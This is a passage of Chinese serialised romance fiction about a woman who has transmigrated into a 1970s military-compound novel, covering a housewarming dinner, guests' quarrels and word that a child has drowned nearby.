苏圆圆全身轻颤,脸也红了,她简直不知该说这家伙啥好。
“媳妇,人家难受——”
难受?
啥难受?
他腿又不好了?
还是?
苏圆圆低下头,正对上仰头望着他的霍战北,那一张拉近的俊脸,清冷的眸子里映着她的影子,眸子里仿佛有一片火海,在燃烧……
“你哪不好?我让郑——”
唔——
霍战北突然放大在她瞳孔里的俊脸,让苏圆圆一时失语,然后温热吻上了她的唇……
又来!
这家伙都不知用同样的方式骗她几回了。
偏她每次还都上当。
苏圆圆刚开始是有些小生气,但渐渐地就……
哐当——
一声响。
哎呀!
一声痛呼,喊出一半,又咽下去的混沌。
苏圆圆一抬头,正对上堂屋门口呆愣着,一脸委屈又窘迫的郑好。
他两只手停在半空,脚边地上丢着一个搪瓷洗脸盆,一汪水,还有一条飞出去的湿抹布。
“咋了?碰着啥了?你看看你这么大个人了,咋还**手毛脚的?”
郑好娘一听郑好惊呼,赶紧从厨房跑出来。
在院里一角收拾肉的苏陈皮和张红英也跑过来。
“娘,你偏要我端水来擦桌子,这——”
郑好的声音带着委屈,用沾满水的手,苦恼了使劲挠了挠头,
“团长,嫂子,我啥也没看见。真的,啥也没看见!”
郑好在心里第一百零一次发誓,以后他再来团长家,一定走一步,就喊一声团长。省得他总看到儿童不宜的画面。
心里又觉得特委屈。
这次还真不能怪他。
这大白天的,家里还有这么多人呢。
谁能知道他们家团长就这样不当人。
真是的,团长你就是再渴,你就不能进里屋,关上门再……
还是他们家团长就喜欢……
郑好打了个寒颤。
他们家团长不会有啥见不得人的怪癖吧?
干点私事,还喜欢被人围观?
“霍战北,你欺负我妹子,你——”
苏陈皮刚吼一声,就被张红英一巴掌拍胳膊上,闭嘴了。
“还不赶紧收拾你的肉。一会等人都来了,要做的事还多着呢。”
说完,冲着苏圆圆挤了一下眼睛,拉着苏陈皮就转回去,继续收拾肉去了。
郑好还在发呆,被他娘一烧火棍抽腿上,
“腿抽筋了?还不快给我拾起盆回去烧锅。”
烧锅?
对。
郑好赶紧弯腰捡起盆和抹布,跟在他娘
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身后就去厨房了。
心里疯狂吐槽他家团长,每次秀恩爱都非要他这个光棍汉撞上。
天底下就没有这样欺负人的?
为啥子专逮着他一个人薅啊!
几人来得快,去的也快,转眼间,堂屋又只剩下他们两个人了。
苏圆圆看看霍战北,霍战北看看苏圆圆。
“继续!”
两人几乎是异口同声说了继续两字,然后相互一怔,都笑了。
这一笑,反而没了刚才的气氛。
“北北,我刚才就想和你,是你打断了我的话。”
苏圆圆索性接着刚才的话题说起,她买了布,等下午刘招娣来了,让她带回去做窗帘被子等的事。
“这些你看着办,喜欢咋做就咋做。”
霍战北倒有些意犹未尽。
紧抿嘴唇,想着,他是不是该换勤务员了?
“还有我们的房子,我画了一副简图,房子隔间怎么做,后面院子怎么建,还有厕所、洗澡间怎么盖……”
苏圆圆转身拉开抽屉,拿了她画好的简图。
“你会画画?这是你写的字?”
霍战北看着这张简图,有些惊讶。
别人不懂,他在军校可是专门学过画军事图的。
他家小媳妇这图画的可不点不简单,尤其是字。
虽说他听他小媳妇说,要自己去考试参聘。可他也只认为,他小媳妇跟着她爷爷在家里学习,最多也就有个他们京市四五年级的水平。
可看这图形和字,他们团里高中生也做不到。
“哦,我打小就对图画感兴趣,除了跟着我爷爷学,后来我们村里下放了一个海市医生,他住我家,我就跟着他学了一些皮**。”
苏圆圆心里一惊,赶紧给自己找补。
同时暗暗叮嘱自己,她可得小心了,慢慢地改变自己的人设,从一个乡下胖村姑,慢慢变成一个合格的军区医生。
苏圆圆也知道,霍战北可不是普通人,她不管怎么小,一个现代医学博士,和六七十年代一个乡下小村姑,还是有很多无法掩盖的差距的。
早晚,霍战北会发现问题。
但能拖一会是一会吧。
她现在还没有想好,要对霍战北说出她的秘密。
毕竟老祖宗说的好:至亲至疏是夫妻!人心隔肚皮嘛!
她不能拿自己的命去赌人性,去赌男人的一个爱字。
自己的命运,还是紧紧握在自己手里最可靠。
至于,以后她会不会告诉霍战北,又会告诉他到什么程度。
她还得再等等,再看看……
第71章 郑好你喜欢啥样的媳妇
忙活了一下午,傍晚时分,三个大桌子摆在院里。
男人一桌、女人一桌、孩子一桌。
“菜来了。”
郑好端着个大瓷盆,里面是满满一盆猪肉白菜炖粉条。
“咋这么多菜唉,霍团长家这伙食——真比我们钱主任家的还好。”
毛线姑娘激动地给大家发筷子。
她是下了班,和李大山一起来给苏圆圆送她买的东西。
来的都是客,何况人家还是赶着饭时来了,总不能让人把东西放下,直接撵人走吧。
何况这个毛线姑娘还是个自来熟,刚才拉着苏圆圆进屋,要和她说悄悄话。
进屋也不拐弯,直接就说了她哥过几天送彩礼,想求苏圆圆帮忙,换几张面额大的布票和工业票。
“霍嫂子,俺哥说的是邻村村长的闺女,人家条件比俺家好。俺一捎信,俺爹就来供销社给俺送票了,说让俺好好求求你,帮个忙。”
成人之美的事,苏圆圆自然不会拒绝。何况,她一来喜欢毛线姑娘的性格,二来有一个供销社售货员朋友,以后买东西方便。
“霍嫂子,不管你今天帮不帮俺家这个忙,以后供销社有啥好东西来了,俺都会通知你。”
果然,毛线姑娘这性格真讨喜。
“我叫苏圆圆
,以后直接叫我名就行。”
苏圆圆真心不喜欢别人叫她霍嫂子。
这年头的女人一旦嫁人了,就成了啥嫂子;生孩子后,就成了娃他妈。
好像一结婚,这世间就再没这个人了一样。
“好,我以后就叫你圆圆嫂子。我叫赵美艳,你以后叫我美艳就行。”
苏圆圆给赵美艳换了一个十张的工业票,还有一张大额布票。
“这票是我婆婆给我的彩礼,我也只有这几张。平时我也买不着啥。反正放我这里也不好花,换成小票,还方便了。”
苏圆圆打着哈哈,大票换成小票,对她来说,花起来更方便,也不打眼。
“俺晓得,圆圆嫂子,真是太谢谢你了。”
赵美艳又热情地说,
“刚才我听到你们在说布置新房要打家俱?”
“是的,我才来随军没几天。这屋里手底下使的东西都缺。衣裳没地方放,吃饭桌子板凳都不齐全,厨房里还缺板凳案板之类的。还想再打两张床……”
一说到这事,苏圆圆就发愁。
她本来想在供销社看看,有没有成品。
结果一打听,这东西一般都是找村里木匠打。
“我爹和我哥都是木匠,附近几个村嫁闺女娶媳妇,大多都来找我爹打家具。”
赵美艳像她站柜台卖东西一样,自信地介绍她爹她哥的本事。
“现在打家具木料也难弄到,我哥现在订亲,半年后就会成亲。我爹这
几年一直在备木料。“
赵美艳说,
”那么多木料,我哥使不完的。圆圆嫂子,你要想打家具,我带你去找我爹,用他现成的木料,保准给你打的又好,价格又底。”
太好了!
苏圆圆真是太开心了。
她来这几天,最头疼的除了厨房缺东西。
就是屋里少家俱了。
她也听霍战北和婆婆私下商量过,婆婆的意思,要买家俱就买最好的,说要从省城买了,托顺路的司机拉过来。
霍战北主张去县城里看看,先买了用着。
但那些家俱,不但要钱还得用票,像手底下使的小板凳案板之类的,还买不齐。
这真是正瞌睡,就给送枕头来了。
苏圆圆连忙点头,
“那我们明天登记回来,下午去供销社找你,你带我们去你家看看。”
苏圆圆心想,明天上午她们得去县城照相登记。
办好事后,就去县城国营家俱店看看。听说国营家俱店每天卖的品种有限,还得排队,那就还不一定能买到合适的。
等从县城回来,差不多也该下午了。正好从镇上供销社过。
苏圆圆想,到时候,正好把在国营家俱店买不到的东西,再让赵家木匠师傅做几件。
“好,我回去就给我爹和我哥说,让他们给你准备着。”
“这么多东西,送过来,真是辛苦了。正好我们办暖房酒,你也留下来吃了饭再走。”
这可是七十年代,哪年的吃食都不宽裕。这要是换了别人,都会客气两句离开。
赵美艳不愧是售货员,就是个自来熟。
一口应下,然后就进厨房帮忙去了。
她一会帮郑好娘炒菜,一会帮张秋月切卤肉,一会又跑去隔壁把红英妈蒸的大白馒头端过来。
这会子,她站起来,把桌上的菜又摆放好。
今天主厨的是郑好娘和张秋月,主打的就是一个量大实惠。
一盆猪肉白菜炖粉条,一盆卤肉切片,一盆调凉菜,最打眼的还是放在当中的那盆油汪汪大肉片子。
一大盆白米干饭,还有一大馍筐子白面馒头,全是新蒸出来的。
这两样主食是苏圆圆让郑好拿米面去隔壁,让红英妈帮着做出来的。
要知道,她家啥都没有,只在厨房里支两个临时的大铁锅,还是郑好从食堂里借的公家的。
一个大铁锅卤肉,一个大铁锅炒菜。
“妈,妈——”
坐在张秋月身边一连排四个壮实的闺女。
最小的一个两眼直盯着那盆大肉片子。
这盆红烧大肉片,浓油赤酱,炖得烂乎,片片包裹着红亮的汤汁。
是这桌四盆菜里,肥肉最多的一盆肉了。
因为这桌孩子多,张秋月在供销社买的那一斤大肥肉,让郑好娘全放这个盆里了。
孩子们手拿着大白馒头,眼睛黏在大肉片上,都能拉丝了。
“
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馋不死你。”
张秋月拿筷子敲了小闺女手一下。
眼睛不由瞟向男人那一桌,她男人李大盆高大粗壮,坐在桌边,一个人都占了两人的空。
坐在李大盆旁边的是个黑瘦矮小的男人,正是刘招娣的酒鬼男人刘瘸子。
刘瘸子见酒比见他娘还亲,才一开吃,就捏着酒杯不放,要不是酒桌上坐着霍战北和张政委压着。
刘瘸子估计就不捏着酒杯了,那得直接抱了酒瓶子喝。
反观一直喝酒的刘瘸子。
张秋月的男人真不愧外号叫李大盆,大手端着一个大粗碗,上面装得满满的大白米饭,正吃得很克制。
张秋月知道,要是她男人不克制,人家一开吃,他就扒两碗了。
“吃吧,秋月嫂子,今天这么多肉呢,全都得吃完喽,剩下这天得坏。”
苏圆圆哪里能不知道张秋月的心思。
“你看看,都是孩子,你管那么宽干啥。”
张奶奶夹了一块大肥肉片子,直接掰开一个大白馒头,夹里面,递给张秋月小闺女,
“来,吃肉,乖,吃完奶再给你夹。”
“谢谢张奶奶。”
小丫头别看长得敦实,小嘴还挺甜的,一口一个奶的叫着红英奶。
张红英家一家四口全是大人,多年没有小孩子。老年人又喜欢热闹。
张奶奶开心地又夹了一个大肉馍馍,递给旁边一声不吭的瘦弱小姑娘——刘招娣闺女。
“谢——谢——张奶——奶”
小姑娘说一句话喘几声。
苏圆圆注意到,一直坐在闺女身边的刘招娣,一听闺女喘,她的眉毛就拧一下,一副苦大愁深的样子。
“来喽,再给你们这桌添个菜。”
郑好端了一个盘子,里面放着诱人的卤大肠。
郑好心想,可不是我要端过来。是我们家团长,非要我把这碟子肥肠端到这桌,还交代一定要放在嫂子面前。
咦,原来嫂子喜欢吃肥肠啊!
“郑好,给你说个媳妇,中不?”
张秋月打趣郑好。
“好,嫂子你只要给说,我就应。”
郑好知道嫂子们就喜欢和他开玩笑。
“你喜欢胖的,瘦的?”
张秋月看着赵美艳乐。
“胖的,胖的有福气。”
“能吃的,不能吃的?”
“能吃的,身体好壮实。”
郑好心里想,当着团长的面,嫂子你问我喜欢胖的瘦的,我敢说喜欢瘦的吗?
“吃饭吧唧嘴的,你喜欢不?”
张秋月乐了。
郑好?
看了一眼赵美艳,人家姑娘刚才吃饭吧唧嘴,刚被你们几个打趣,我要是说不喜欢,人家姑娘多难看。
看吧,他就知道,秋月嫂子一开口,就给他挖了个大坑。
“喜欢,吧唧嘴说明吃得香,吃得香能吃才能身体好。”
第72章 我就喜欢闺女
郑好嘿嘿,
“不像我,打小就身体不好,瘦,吃啥都不消化。要不是进部队跟了团长,练出这一身硬骨头,嘿嘿……”
哈哈哈,
张秋月和红英妈几个都笑起来。
笑得赵美艳脸都红了。
刚才,她吃饭,够不着,她站了起来,夹了一块肥肉放白面馍馍里,咬一大口,嗯,太香了。
不禁吧唧了一下嘴。
等她发现,不禁有些尴尬。
张奶奶笑着打圆场说,“瞧瞧这姑娘吃得多香。小脸多圆,是个有福气的。”
张秋月也跟着打哈哈,
“可不是,你瞧瞧,我家这几个闺女,个个都像饿狼崽子一样,吃饭不但吧唧嘴,还见吃走不动。”
赵美艳知道大家都是在为她解围,不禁笑了。
她向来是个不拘小节的姑娘。
“我打小就能吃,还吃啥啥香。我奶常说我,吃饭吧唧嘴,走路跑断腿。”
赵美艳哈哈地笑,
“我小时候皮得很,我奶越说我,我越在她面前,把嘴吧唧得更响了,把我奶气得拿擀面杖在后面撵我。”
苏圆圆心头一酸,低下头,她也想她奶了。
她从小跟着奶奶在乡下长大,她奶脾气和赵美艳的奶奶正好相反,是个相当温柔慈祥的农村老太太。
她奶奶是村里唯一一个上过扫盲班,识字会绣花,也认识一些药草的老太太。
非常疼她,她小时候像个小跟屁虫一样,奶奶走哪她跟到哪。
有一次她奶奶去亲戚家吃席,回来从席上拿来一个鸡腿,专门跑到学校找她。
苏圆圆永远忘不掉,她奶奶蒙着一块方巾,脸贴在她小学教室玻璃窗上,向里面张望的样子。
“圆宝来,奶给你拿了鸡腿,出来吃塞。”
感觉到眼角有些泪湿,苏圆圆吸了一下鼻子。
夏千燕就坐在苏圆圆旁边,看在这一幕,眼里闪过一丝鄙夷。
瞧瞧,这乡下肥妞,就是没见过世面,请人吃顿饭,多上几盆肉,就疼哭了。
既然这么小气,为啥还偏要穷显摆。
咦,
瞧瞧一个女人竟然喜欢吃恶心的肠子!
“喝,霍团长,我敬你!”
旁边男人桌,刘瘸子突然站起来,端着一杯酒,摇摇晃晃敬霍团长,
“霍团长,还是你最厉害,眼光最毒。这找媳妇儿,就得找胖的。”
苏圆圆注意到,在男人那一桌,从一开始坐下吃饭,就没有一个人主动去理刘瘸子。
刚开始的时候,刘瘸子还是很拘束的。捏着酒杯,只敢小口小口喝,但喝到这会子,有些量了,脸也红了,都敢站起来敬霍战北了。
他可是自从进了院,就没敢抬眼看一下霍团长,整个人本来就矮瘦,腿又瘸,弯腰缩背见人一脸讨好的笑,猥琐极了。
果然酒壮怂人胆,这会子居然敢大声说话,出来敬酒了。
霍战北依然坐在那里,别说理刘瘸子了,连半个眼神也没给他。
刘招娣看着那边,坐卧不安,手里的筷子放下又拿起,拿起又放下。
“找胖的媳妇能怀好生,你看你媳妇多么胖,一胎怀上两。那肚子圆圆的,一准是两儿。”
霍战北脸色一下黑了,强忍着没有一脚踹倒刘瘸子。
刘瘸子媳妇是他小胖媳妇的朋友,他媳妇请来的客,他只能忍一下。
不然,他真打了刘瘸子,刘瘸子媳妇没脸,他小胖媳妇也不好看。
霍战北:我忍!
“不生儿子的女人,要了有啥用!”
刘瘸子说这句话的时候,脸红脖子粗地看向刘招娣,满满一脸的嫌弃,一点也不带避人的。
刘瘸子这句话明显是说他媳妇的,但却惹恼了张秋月。
张秋月筷子啪一下拍在桌子上,还没等她吼。
旁边的赵美艳不高兴了,噌一下站起来,冲着刘瘸子就骂,
“刘瘸子,你喝几两猫尿,又胡咧咧啥?我们妇女也能顶半边天。”
赵美艳和刘瘸子都是东红镇供销社的工作人员,刘瘸子是仓库保管员,工资最低,再加上他为人不行,经常喝醉酒出错。
供销社人人都烦他,他一喝醉酒就耍酒疯;他不喝酒清醒时,见了哪个同事都得装孙子。
所以赵美艳吼他,刘瘸子不敢回怼她。
只敢低声咕叽了一句,
“一个姑娘家,这么凶,哪个男人敢娶你。”
赵美艳脸一变,刚要继续骂他,张秋月推了身边郑好一下,
“这不有个正好的。”
“嫂子,你又取笑我。”
赵美艳脸一红,坐下了。
“生儿生闺女那是老天爷封就的,哪能谁想生啥就生啥。生闺女
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咋了?生闺女就该死的罪了?”
张秋月可不会饶了刘瘸子。
就因为刘瘸子打刘招娣,她骂过刘瘸子;还把刘瘸子的脸挠得给鸡叨的一样。
刘瘸子是被张秋月斗败过的,怕极了张秋月。
所以,整个家属院,只有张秋月能从刘瘸子家叫出来刘招娣。
“闺女好,我就喜欢闺女。”
半天没吭声,一直闷头扒饭的李大盆,突然抬起头,冲着张秋月笑了笑,说完这句话,脸色突然一僵,他觉得他好像讲错话了。
他光顾着哄他媳妇高兴,却忘了人家霍团长不一定喜欢闺女。
转头,仰脸,冲着霍战北展开一个僵硬的笑,
“嘿嘿,霍团长,我可没说你。你们两口子这胎一准生儿子。”
一直坐在霍战北旁边看好戏的楚行止,突然开口了,
“霍团长只喜欢闺女。”
霍战北烦他,根本没接他的茬。
楚行止和夏千燕,他根本没派人去请他们吃饭,这两人提了礼物腆着脸,自己来了。
苏陈皮不愿意了,啥人啊,竟然敢当着他的面,说他妹子!不要命了!
筷子一放,冲着刘瘸子瞪眼,
“娶了媳妇是用来疼的,不是只用来生孩子刷锅的。”
刘瘸子喝了点酒,盖盖脸,那可是啥话都敢往外崩,
“你媳妇要是不生儿,我就不相信,你还稀罕她?就是你愿意,你娘能愿意?”
“我媳妇生啥我都喜欢,不生我也尊重她的意愿。”
苏圆圆直接就给她家三哥点赞,瞧瞧,她家三哥多会说话。
啧啧,她家三哥脸皮可真厚,嘴可真甜,这当着人家张政委一家四口的面,就敢直接这样说。
苏圆圆悄悄看了看张家人。
张奶奶眯眼笑,红英妈脸色也舒展,红英姐更是脸红了。
只有张政委,手里端着酒,面无表情,但苏圆圆看到,张政委喝了手里的那杯酒,喝得极自在。
显然,心情很不错。
嘿嘿,这是她三哥的求婚宣言啊!
“哎哟,你们这些大男人啊。瞧瞧,可都该向人家苏班副学习一下。”
夏千燕笑眯眯开口。
苏圆圆心底却警铃大作,夏千燕这个头发丝都辍满坏心眼子的坏种,她不可能帮三哥说话。
她这是要?
第73章 王小军掉河里淹**吗?
“瞧瞧人家多会疼媳妇,宠妹子。
这都是过来人才会懂的。”
过来人?
苏圆圆眉头一皱,这个夏千燕果然不是个省油的灯。
这是当着张家人的面,给她三哥上眼药。
摆明了说她三哥一准以前没少和女孩子相处。是个花心大萝卜。
“夏姑娘,你这话说的我就不爱听。”
不等苏圆圆说话,眼里揉不得沙子,最看不得绿茶白莲的赵美艳白了夏千燕一眼,
“啥叫过来人才会懂?人家苏班副疼人家妹子,那是当哥的应该做的。你一个外人,随便一张嘴,就想往人家身上泼脏水。啧啧,我看你这大城市里来的人,人品也不咋的。”
哈哈,
张秋月笑了,看着夏千燕变得难看的脸,直拍赵美艳的胳膊,
“你这个妹子,有嘴可真会说话。你会说,你就多说点,我最爱听了。”
张秋月性格也直爽,但比起赵美艳还是不一样的。
赵美艳可是供销社售货员,那怼起人来,人家可是专业的。
哈哈,苏圆圆想起来了,这可是七十年代,售货员那可是铁饭碗,个个都牛皮哄哄的。
天天站在店里,经常给顾客翻白眼子,怼人还是理人全看自己心情。
尤其夏千燕这样从大城市来的姑娘,天生带一股傲气,在这一桌坐着,瞧不起这个,看不上那个。
这和赵美艳当售货员一脸高傲,谁都看不上是一样的。
哈哈,
两个都看不上别人的人,撞上了,那场面——
夏千燕说话埋着心眼子,拐着弯。
但赵美艳却是直来直往,直戳人的心肝肺,人品,外人,直接就给人定性了。
显然,论当场怼人这功夫,赵美艳是专业的,夏千燕完全不够看。
“你看你这人怎么张嘴就骂人呢?我只是说苏班副疼妹子。这圆圆嫂子揣着肚子,后天还要去考试,想进医院工作呢。”
夏千燕可不想和赵美艳斗,这对她没用。
立马又把话头往苏圆圆身上转。
苏陈皮怕圆圆要去上班,会引得霍战北不高兴,赶紧接话,
“妇女能顶半边天,这姑娘家也不是一结婚就不能上班了。我们家圆圆要想上班,那就去上班,谁也拦不住。”
“要不怎么说苏班副是妇女之友,瞧瞧这心多细,哪句话都站在我们女人这边说,真是说到我心坎里去了。”
夏千燕又把这盆脏水往苏陈皮身上泼。
这个夏姑娘也真是的,哪有到人家里做客,一次次挑人家主人家刺的?
郑好娘实在看不下去了,霍团长和苏圆圆是主人,不好说来的客人。
温教授临走的时候,再三叮嘱她要照顾好圆圆。
她不能眼看着苏圆圆被人欺负了去,郑好娘举起筷子,
“别都光顾着说话了,这菜都要凉了,吃菜,大家都吃菜啊。”
郑好娘这一说,大家的注意力又重新回到菜上,一时气氛缓和了下来。
赵美艳突然咦一声,指着夏千燕就说,
“哎哟,夏姑娘你和郑大娘长得好像啊!”
众人扭头,这一看,咝,不看不知道,一看吓一跳,这两人长得还真得很像啊!
张秋月转头看了一圈,指着郑好说,
“你们看看,不但夏姑娘和郑大娘长得像。郑好和苏班副长得也像啊。这不知道的,猛一看到一准以为是亲兄弟。”
夏千燕?
这已经是第二次,有人说她和这个乡下婆子长得一样了。
气死她了,这又老又丑又土的乡下婆子,怎么可能和她长得一样!
啊呸!
腌臜谁呢?
苏圆圆?
她看了看夏千燕和郑好娘,咦,像!
再看看郑好和她三哥,咦,也像!
“这世界上长得像的人多了。”
郑好打哈哈,
“我们团里,还有一对兵,比我和苏班副还像,简直就是双胞胎一样呢。”
苏陈皮也不放在心上,他已经不是第一次被人说,他和郑好长得像了。
别人笑笑,没几个人放心上。
可是苏圆圆却陷入沉思,
这世上长得像的人是不少,可是面前一下子出现两个长得特别像的人,那就不正常啊。
何况这可是一本书,苏圆圆可没忘记,她现在是穿到了一本书里。
作者又不傻,她设计这两对长得如此像的人,有啥用意呢?
苏圆圆想了想,原书中有没有写过这一段?
没有。
她确信原书里,她真没看过这个细节。
苏圆圆的目光在夏千燕和郑大娘脸上扫过,如果这两个人有血缘关系的话,只能是?姐妹不可能,年纪相差大。
母女?
郑大娘怎么可能和夏千燕是母女?
夏千燕可是名符其实的海市资本家独生女啊!
难不成郑
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大娘和夏千燕的亲妈有血缘关系?
哎哟,头大,想不通!
苏圆圆想不明白这个,她再看郑好和她三哥,就更头疼了。
这两人要是兄弟关系,那郑好岂不是也是她哥了?
不可能,绝对不可能!
苏圆圆自己都否定了。
“霍战北明天去照相办结婚登记,楚行止,你作为婚礼经办人,你明天不得和他一起去县城,买点东西?”
夏千燕可没忘了她今天来的目的。
专门给人添堵!
对,夏千燕今天来,就是专门来给两人添堵的。
“明天,霍战北,你明天要去登记?你这人也太过份了吧?这么重要的事,你居然不通知我一声?”
楚行止立马上勾,霍战北登记结婚不告诉他,楚行止觉得他受到了一万点背叛。
毕竟大院里被催婚的兄弟又少了一个。
从此以后,陪着他当光棍子的兄弟,又少了一个啊!
霍战北不理楚行止,依然是连个眼神都懒得给他。
楚行止才不管霍战北的态度,
“我不管,你登记我得跟着去。”
这句话说的有些撒娇,又耍赖的样子。
看得众人目瞪口呆:楚医生,你居然是这样的楚医生!
“滚一边去。别跟着我,烦。”
霍战北一个眼神杀过去,被楚大医生的粉红眼神泡泡撞掉了。
“我不管,我就得去。”
夏千燕也在旁边接了一句,
“我不管,我也得去。”
这两人,真是毛病啊!
众人真不知该说这两人啥好?心里不约而同地都在想,这大城市来的青年,咋都这样啊!
尤其是张政委又端起一杯酒,仰头喝了。
幸亏闺女喜欢的不是楚医生!
“小军啊,我的乖儿,你咋走了啊,你这让娘咋活啊!”
大家突然听到院外一阵喧哗声,还夹杂着女人悲惨的哭喊,
小军?
王小军?
苏圆圆一下子僵住,有一种不祥的预感涌上心头。
“王小军,他出啥事了?”
张秋月也变了脸色,两人对视一眼,都想起王小军在供销社临走时说的那句话。
要给他娘去河里抓鱼,熬鲫鱼汤喝。
砰!
院门被人推开了,一个身穿工作服的男人冲了进来,一看到张政委就喊,
“政委,不好了,王小军掉河里淹**!”
第74章 都去帮忙吧
“哎哟,淹**,不会吧?今天中午我们在供销社还见那孩子呢?”
张秋月不敢相信。
“淹**,几个人从河里捞出来的。”
来人很着急地对张政委说,
“孩子也不知下午啥时候淹死的,傍黑吃饭家里人没见孩子,找孩子才发现孩子淹**。”
刘瘸子打着酒嗝,
“王队长家儿子多,不到吃饭他女人都不找孩子,这要不是在河里飘出来,他媳妇怕不是到明天都不会发现少了一个孩子。”
大家脸色难看。
虽说刘瘸子说的这话是实情。
王队长一心扑到工作上,在家就是个甩手掌柜。
他女人又是个懒货,只管生,不管养。平时都是大的照顾小的。
像王小军这样七八岁的,不到晚上吃饭睡觉,一般是不会找孩子的。
出了这样的事,张政委自然得去处理。男人们那桌也就直接散了,匆匆离开。
李大盆和苏陈皮也都跟着去了。
只有刘瘸子还坐在桌边,醉得两眼眯眯着。
郑好也要走,被郑好娘拉住,让他收拾一下。
“哎哟,这在我们乡下,这样年纪的小孩子,没了当天就得埋。有爹娘老人在,不能过夜。”
郑好娘在围裙上擦着手,
“咱赶紧收拾一下,去帮帮忙,看给孩子缝衣裳,收拾干净,帮着弄地里去。”
说着,郑好娘就赶紧收拾。
赵美艳也不是那咱吃了人家的饭,直接甩手就走的人,也赶紧收拾碗筷。
红英妈扶着张奶奶也走了,张红英就跟着赵美艳一起收拾桌子,打扫地上的卫生。
刘招娣带着孩子过去,对自己男人小声说着什么。
看样子是在向男人请求,她一会也要跟着去帮帮忙。
夏千燕看没人注意到她,她赶紧溜出门,偷偷去找李大山了。
她得让李大山想法子,赶紧把苏圆圆给办了。明天他们两就要去照相登记了。
张秋月脸色有些白,她站在苏圆圆身边,小声说,
“不会这么巧吧?圆圆妹子,你还记得那天,你还提醒我,不要让我闺女去槐树林,也不要去河边玩。”
苏圆圆脸色变了。
她想起来了,原书中有这样一段。
就在张大花从槐树上摔下来的那一天,家属院还有一个孩子淹**。
张大花住院两天了,她也没听谁家出事。苏圆圆还觉得,因为她穿书引发了变化。
像小孩子掉河里淹死,都是小配角的戏,说不定她穿书后改变情节,就没有这一段了。
没想到,作者还是走了原剧情,还是有一个孩子掉河里淹**。
那她呢?
作为原书的一个炮灰配角,她是不是还得按原剧情走,落个难产而死的下场?
厨房屋里,郑好娘正在交代郑好,
“好儿啊,你不要怨妈刚才不让你去。你要记住,你是个干啥的。你不要管外边出啥事。天大的事都和你没有关系。你要记住你的身份,你可是霍团长的勤务兵。霍团长的事,才是你的头等大事。”
郑好娘一边快速收拾着厨房,一边语重心长地对郑好说,
“不管到啥时候,你都要把霍团长伺候好。我呢,就是要把霍团长的媳妇伺候好。咱娘俩一起把这个家伺候好。你呢,对得起你的工作。我呢,也得对得起温教授。”
郑好娘别看是个农村妇女,向来主意正,对郑好教育得紧。
“你想想,人家温教授又是给你爹找医生,安排住院。又是给咱垫手术费。还给你娘我找了这个活,管吃管住还给钱的。你看看,咱欠人家霍家多少情份,你一定要记住。”
“娘,我知道了。”
郑好挠头,
“我刚才也是一听出事心急,看大家都去帮忙,一时情急,顾了那头忘了这头了。嘿嘿。”
“啥事都能忘。好儿,你可要记住你的身份,你是霍团长的勤务员,大家都出去了,霍团长坐在轮椅上,你就把他丢在这院,自己跑出去了?”
“娘,我不是觉得这家里还有这么多人来吗”
一听这话,一向好脾气的郑好娘脸色变得严肃了,语气都变重了,
“好儿,你过来。”
郑好一见他娘生气了,赶紧走过来,站在他娘面前,垂手立着听训。
“我刚才交代你多少遍,你还是没听进去,是不是?你的身份,你是干啥的,你说说?”
“我是我们家团长的勤务兵,娘,刚才你说的,我听进去
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了。”
“你是听到了,不是听进去了。”
郑好娘直视着儿子的眼睛,
“你看着娘的眼,你给我记住,你是霍团长的勤务兵,不管到啥时候,就是火头烧着腚眼子,照顾霍团长都是你最最当紧的事。”
“我知道了,娘。我这次真记住了。”
苏圆圆想进厨房,给郑好娘说一声,她也想推着霍战北出去看看,有没有啥能帮上的忙。
她想让郑好娘在家看着家,收拾这一摊子。
结果刚走到厨房门前,还没进去,就听到了郑好娘正在说的这段话,她停住了,觉得这时候贸然进去,有些不太好。
院子里张红英和赵美艳说话声传进厨房。
郑好娘看着儿子脸上的神情,突然问了一句,
“好儿,你想找个啥样的媳妇?”
“娘,爹还病着,我们家又没钱,娶啥媳妇,我不娶媳妇,我就和爹娘一起过。”
“看你傻的,男人不娶媳妇,不就成了光棍子了吗?那可是要被人背地里戳脊梁骨的。”
郑好娘心里一阵难受,儿子孝顺又体贴,这些年挣的钱全寄给家里了。
唉,原来想着自家再攒几年,加上儿子这些年寄的,到年底攒成一百块整的,就能给儿子说一门亲事了。
上个月娘家姐给说的那个她村里的姑娘就不错,能干还懂事。
哪成想老头子竟得了病,咋着也看不好,这一趟来了军区医院。
就是看好了,钱也花光了,家里又变成了穷壳子。
“咱家这条件你也知道,你也别挑,只要是个姑娘,能吃能干能持家就能当媳妇。”
郑好娘觉得,都是她和自家老头子拖累了儿子。
“娘,我不挑。就照你说的,下雨知道往屋里跑的就行。”
郑好心不在焉。
郑好娘咦了一声,
“好儿,你是不是有看上的姑娘了?你给娘说说,你喜欢的姑娘是啥样的?只要她不嫌咱家穷,只要愿意和你结婚,她一进门,我和你爹就分出去单过,绝不会拖累你们。”
郑好娘眼皮子一跳,看儿子这个脸色,心里还真有人了吗?
这个孩子咋一直憋在心里,不和她老两口说,难不成人家姑娘嫌弃他们家穷?
第75章 给王小军做衣裳
嫌弃她老两口老弱病残?
“娘,你咋能说这样的话来。我不娶。这部队除了随军的嫂子,就都是大头兵,我能喜欢啥人?”
郑好这样一说,郑好娘越发觉得,儿子心里这是真有人了。
“好儿,你说说,你想娶个啥样的?等你爹病好,我们再攒些钱,按你要求在咱四周的村里,娘给你好好寻摸一个。”
娶个啥样的媳妇?
郑好眼前闪过刚才看到的团长和小嫂子……
“胖的——”
胖的?
郑好娘眼里闪过一抹笑意,她算是看出来了,傻儿子这是喜欢霍团长家媳妇这样的。
“为啥?这胖的还真不好找。”
儿子要找个胖媳妇,郑好娘还真为难。这年头,村里家家男人都吃不饱饭,女人哪个不瘦伶伶的。
“胖的有福气。”
郑好挠了一下头,
“我就想找个胖的,会吃的,壮实的。”
胖的,会吃的,身体壮实的?
郑好娘惊了一下,难不成好儿喜欢的是刚才那个叫赵美艳的售货员姑娘。
好儿打小身体差,从小到大没少吃药,要不是怕儿子身体太弱,干不了地里活,老两口也不能咬牙,一直把儿子供到初中毕业。
儿子成绩一直很好,没有机会上高中,但凭着初中学历
,倒是当上了兵,直到部队上才把身体养壮实了。
如今,老头子病着;她身体也不好,也难怪儿子找媳妇,想找个身体好不生病的。
“好儿啊,你喜欢的人是美艳姑娘,对不对?”
郑好娘心里又是欢喜,又是难受。
想着刚才赵美艳,刚才在桌上说的那些话,做的那些事。
郑好娘觉得,赵美艳真是个好姑娘。
可是,
人家姑娘是售货员,还是个初中生。
人家能看上她家郑好吗?
“圆圆妹子,外面这些东西都收拾好了,我们先回去了。”
